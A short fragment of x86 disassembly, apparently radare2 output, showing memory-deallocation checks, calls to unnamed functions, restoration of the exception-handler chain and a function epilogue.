mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x434fba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x434fea
push edx
push ecx
call fcn.0043eaac
add esp, 8
sub esp, 8
mov ecx, esi
call fcn.00439570
cmp eax, 0xffffffff
jne 0x434f50
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00463f01
int3